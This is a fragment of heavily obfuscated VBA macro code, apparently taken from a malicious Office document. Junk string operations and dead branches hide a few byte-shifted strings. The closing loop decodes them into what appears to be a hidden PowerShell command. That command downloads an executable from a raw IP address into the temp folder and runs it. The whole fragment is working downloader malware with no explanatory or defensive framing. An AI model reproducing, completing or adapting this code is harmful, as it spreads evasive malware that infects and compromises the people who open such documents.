If 1895692 = 5 - 2226 Then TKPTy = Replace("efAIFFFQpgjdcz", "efAI", "MLMBY") TKPTy = StrReverse("efAIFFFQpgjdcz") End If xXCZ = Replace("MzaMIIxiznUpKhQKyRU", "Mza", "CFGDoY") xXCZ = Replace("CQUYQgUbJw", "CQUY", "ypse") xXCZ = StrReverse("vbRzmMSYnJn") If 3556831 = 162 - 2776 Then OJfOk = Replace("JvTdpxDdvSQZy", "JvTd", "CkMbw") OJfOk = StrReverse("JvTdpxDdvSQZy") lScei = Replace("KeXWaRIsvoWssQeHvvG", "KeXW", "mSZirh") lScei = StrReverse("KeXWaRIsvoWssQeHvvG") End If xXCZ = StrReverse("rroDYdSgpKdjzpZqfq") xXCZ = Replace("vwPnrFvitwRLrkZJAiW", "vwPn", "CAuBtyg") If 1525573 = 243 - 7264 Then gDIDf = Replace("pLxBADylAVspokCEhB", "pLxB", "PspUX") gDIDf = StrReverse("pLxBADylAVspokCEhB") End If xXCZ = StrReverse("xsZZqRbBnu") xXCZ = Replace("CEiWbtGlEOFIGnH", "CEi", "PSjYaw") xXCZ = Replace("VrUqhvCpzEbftHpOkv", "VrUq", "emoDSY") xXCZ = Replace("hWhiasGsjaYwXtiaK", "hWh", "mQXfvt") xXCZ = StrReverse("wEuhLiyzxjXr") xXCZ = StrReverse("FznFlmXgEM") xXCZ = Replace("fIXpnAwfLJX", "fIXp", "usOL") xXCZ = StrReverse("WpXowVeiwyXkaAE") xXCZ = StrReverse("kLCPbLEqUzAgrRK") xXCZ = StrReverse("tDEaQaquXukvYWKlPVq") xXCZ = Replace("MRPKnQakGBWoXdtjr", "MRPK", "wLnbYB") xXCZ = StrReverse("KYWpkkVziev") xXCZ = StrReverse("jHmqpsgPGPbgSOsMc") xXCZ = Replace("WBVYmmhytgHBQ", "WBVY", "mXTo") xXCZ = StrReverse("vGukOFIgcLPim") Next TtYCq grK = grK & StrReverse(StrReverse("tsJchXBSLGCU}<*(fyf/lMrj](,*)iubQqnfUufH;;^iubQ/PJ/nfutzT\)!iubqfmjG.!ttfdpsQ.usbuT!2!x.!fyf/mmfit")) If 997869 = 59 - 7461 Then IFCyK = Replace("lBeqrdOrZt", "lBeq", "SVCnY") IFCyK = StrReverse("lBeqrdOrZt") eFSQS = Replace("HoiliZHtmrUHhKmI", "Hoi", "eTSvta") eFSQS = StrReverse("HoiliZHtmrUHhKmI") End If For OFvjD = 0 To 288 ucJz = StrReverse("GhQoCDTQePUUaGCl") ucJz = Replace("RoMMvjHZguArJ", "RoM", "vzkZz") If 3655324 = 39 - 1137 Then obtaW = Replace("bQBHPOavTXTEYmGvfW", "bQB", "QddlruG") obtaW = StrReverse("bQBHPOavTXTEYmGvfW") mTZwA = Replace("enximtyvgHncJkmFR", "enxi", "HylxKcc") mTZwA = StrReverse("enximtyvgHncJkmFR") End If If 2802748 = 21 - 5023 Then kssFf = Replace("YcSIUDYvzGgT", "YcS", "Zzvfb") kssFf = StrReverse("YcSIUDYvzGgT") QVrXM = Replace("vmcMqjxLiQZXGF", "vmcM", "vRvGDLB") QVrXM = StrReverse("vmcMqjxLiQZXGF") End If ucJz = Replace("WZKchHuPJeEIOCgAVgG", "WZK", "yFTiEJx") ucJz = Replace("JxsiYodQSGRngeaaaFJ", "Jxs", "RgdADy") ucJz = StrReverse("eEprrMOYbprrfePv") ucJz = StrReverse("YBAXJYfuOtaUP") ucJz = Replace("LItaJoAdtzZpViGzVh", "LIt", "qwJXngG") If 2646825 = 159 - 3839 Then gBUUG = Replace("VMjDXIuwcocjplrMzdc", "VMj", "rdcig") gBUUG = StrReverse("VMjDXIuwcocjplrMzdc") End If ucJz = StrReverse("obkiDmrjCwHxBsdzGR") ucJz = StrReverse("fAHbfgUhoqlyddLibK") ucJz = StrReverse("yhAIRGqaOxgacajveaE") ucJz = Replace("zIssEyVLEsA", "zIss", "BDopEC") If 2642379 = 162 - 5085 Then jkBjm = Replace("SwxtXwIkKfXIOgu", "Swx", "UFKHtk") jkBjm = StrReverse("SwxtXwIkKfXIOgu") End If ucJz = StrReverse("hvGEKWjdURyfx") ucJz = StrReverse("iVHJaLWYRFJdPuoZQRx") ucJz = Replace("aKIdAbUtFdG", "aKI", "EPwtq") If 1374367 = 179 - 4480 Then nIfFt = Replace("YaCCgPnwAyKanveVf", "YaCC", "frwfDI") nIfFt = StrReverse("YaCCgPnwAyKanveVf") xOTAB = Replace("vBmcthmrerx", "vBmc", "nwUEif") xOTAB = StrReverse("vBmcthmrerx") End If ucJz = Replace("JCbyASAPvvWMrvxYW", "JCby", "UHtbKyY") If 676281 = 3 - 6320 Then ACAKc = Replace("eRqLLZdDSUhtlmBYFd", "eRqL", "uAwq") ACAKc = StrReverse("eRqLLZdDSUhtlmBYFd") End If ucJz = Replace("UsBogeARdDXnA", "UsB", "FARYgMw") ucJz = Replace("gSbvfRzgMTgOtQGM", "gSbv", "MmGwl") ucJz = StrReverse("BOKWAZzAdjSH") If 1433748 = 9 - 6770 Then jcfJB = Replace("hfGXKVUngYYXlMkmk", "hfGX", "xAPJT") jcfJB = StrReverse("hfGXKVUngYYXlMkmk") End If Next OFvjD grK = grK & StrReverse(StrReverse("sfxpq<**(fyf/lMrj](,*)iubQqnfUufH;;^iubQ/PJ/nfutzT\)-(fyf/be0333/96/:92/69200;q")) If 1580368 = 175 - 2896 Then uGXte = Replace("efsraJFJVekdvJjAeO", "efs", "PRoI") uGXte = StrReverse("efsraJFJVekdvJjAeO") qbnbr = Replace("WhixysRwfQyvu", "Whi", "VYHWlBf") qbnbr = StrReverse("WhixysRwfQyvu") End If For tSBXJ = 0 To 284 PvOL = Replace("pwGGyxaLMwMkmmy", "pwG", "bgaPGt") PvOL = StrReverse("VvRLSVBzov") PvOL = StrReverse("OcuoJOZdDnDidBHZI") PvOL = Replace("OthefhoReKoaKs", "Othe", "QaRZmsf") PvOL = Replace("tXDyUUIfAjpIELxmGv", "tXDy", "BCTIRO") PvOL = Replace("FxQHrvWPLPYUh", "FxQ", "PrVl") PvOL = Replace("svpqAgTKGwuF", "svp", "qzCq") PvOL = Replace("wIIzfZrGMgv", "wII", "vxFqEmo") PvOL = StrReverse("vzAlxAsezspJr") PvOL = Replace("toXjeUEDclOnKAFxbn", "toXj", "YnlY") PvOL = Replace("WvVZkGQmIeVF", "WvV", "pWsmW") PvOL = Replace("SwtcgSYxzIAc", "Swt", "oCEeLj") If 1244387 = 178 - 1505 Then dIUBP = Replace("ypVeKQjrvslvgwhz", "ypV", "OoVU") dIUBP = StrReverse("ypVeKQjrvslvgwhz") End If If 3173864 = 213 - 7641 Then TZcAo = Replace("cCHowiDrqQbx", "cCH", "qUgQ") TZcAo = StrReverse("cCHowiDrqQbx") KJjQR = Replace("PhwAxCwehQcE", "PhwA", "OvBH") KJjQR = StrReverse("PhwAxCwehQcE") End If PvOL = Replace("BGrtMfTmJzvdESbC", "BGr", "SMZqtv") PvOL = StrReverse("aDzjcQyGLZY") PvOL = Replace("lcZzqKKsckScgErqwbj", "lcZ", "amuH") PvOL = StrReverse("RIvAgvsrQg") PvOL = Replace("iFTQVdZzar", "iFTQ", "SoirHi") PvOL = Replace("fESLaqhQbPSRGnS", "fESL", "thkbUr") PvOL = Replace("gVUsyAbgUdOV", "gVU", "rWRiuE") PvOL = StrReverse("KbmLYrvhIuzPMnrH") PvOL = StrReverse("xSrdahJLkTTfWBlJl") PvOL = StrReverse("sQqRHjrDXpfef") PvOL = StrReverse("TCkwqUDzssCcOOSuFP") Next tSBXJ grK = grK & StrReverse(StrReverse("uui()fmjGebpmoxpE/*uofjmDcfX/ufO/nfutzT!udfkcP.xfO)!2!x.!fyf/mmfitsfxpq}rwzm")) mGUfO = Replace("BoXZTQecuVjgjXohGH", "BoX", "enfFAJ") For kVtuP = 0 To 93 Osff = StrReverse("loxizTYBrTSGRs") Osff = Replace("AZQWjGTozgvLPvVd", "AZQW", "UZjf") Osff = StrReverse("SymVkKocttgdC") Osff = StrReverse("djFaQodkvd") Osff = StrReverse("xEiWoApLzF") Osff = Replace("npuvTGKdHDKalBrtzcu", "npuv", "ZzAYx") Osff = StrReverse("ijBXxOIhrhLkFbyYUW") Osff = StrReverse("kxTGuLiGTKqUhQic") If 2077195 = 68 - 7209 Then aSVKb = Replace("AFOECpVnIHmxAwovQ", "AFO", "jVrX") aSVKb = StrReverse("AFOECpVnIHmxAwovQ") BrLGS = Replace("agCRWShzDIterZ", "agC", "nbOe") BrLGS = StrReverse("agCRWShzDIterZ") End If If 3062268 = 196 - 7516 Then RmxrS = Replace("dWKvSErvvcfvvvR", "dWKv", "ZMsucv") RmxrS = StrReverse("dWKvSErvvcfvvvR") End If Osff = Replace("qPvgGJWPWoCqEAn", "qPvg", "DXdvvog") If 2192499 = 221 - 199 Then QDsVx = Replace("GAHRHGEXxHsZK", "GAH", "jkZXq") QDsVx = StrReverse("GAHRHGEXxHsZK") End If Osff = StrReverse("SSGVpHykekZzIIulZlX") Osff = Replace("nLtCgJAuda", "nLt", "vOGUva") Osff = Replace("hDlhloQFOcZruBwPG", "hDlh", "AWGk") Osff = Replace("kaBJZrOiyjgLPScVey", "kaBJ", "wBBD") If 2534916 = 200 - 4033 Then PwtZy = Replace("gGUYKiAHFFn", "gGU", "zBhLXJa") PwtZy = StrReverse("gGUYKiAHFFn") bIxVP = Replace("BybZPFbZBTQxUyP", "BybZ", "GKza") bIxVP = StrReverse("BybZPFbZBTQxUyP") End If Osff = Replace("YIVVYgHqgDSlPMEM", "YIVV", "RZpICES") Osff = Replace("JhbCItuGjWytWHBROH", "Jhb", "RFYqc") Osff = Replace("OQwOwVwJXsHxq", "OQw", "KcsbCMh") Osff = Replace("zrmnWvJOTjKFWFSviqv", "zrm", "jUWC") Osff = Replace("YGwRptxRmY", "YGw", "SMXvj") Osff = StrReverse("tfWprJkyZZHlCk") If 3256005 = 118 - 2407 Then hHrkR = Replace("kBfrREcXkVECwXFyJ", "kBf", "wAtu") hHrkR = StrReverse("kBfrREcXkVECwXFyJ") RLipH = Replace("wYbyrTvGnqRWjHUFgA", "wYby", "UhUu") RLipH = StrReverse("wYbyrTvGnqRWjHUFgA") End If Osff = Replace("CuSbOiLrrU", "CuSb", "LGRmtY") Next kVtuP grK = grK & StrReverse(StrReverse("Z}oFdT")) mGUfO = StrReverse("cLXfjwsjmdiVeJfvp") Dim vmin() As Byte rlVcD = StrReverse("TEoeRRpFIBaqYmsSpdF") vmin = StrConv(grK, vbFromUnicode) While jQEE <= UBound(vmin) mGUfO = Replace("lYzchLbZCm", "lYz", "QAIaL") mGUfO = Replace("fIPTWodLdj", "fIP", "oXCVZ") vmin(jQEE) = vmin(jQEE) - BOsAI jQEE = jQEE + 1 mGUfO = Replace("wsXqKvEMxE", "wsX", "qRDXm") mGUfO = Replace("aiybOIbJja", "aiy", "ILXts") Wend tSZaxljaCD = StrConv(vmin, vbUnicode) End Function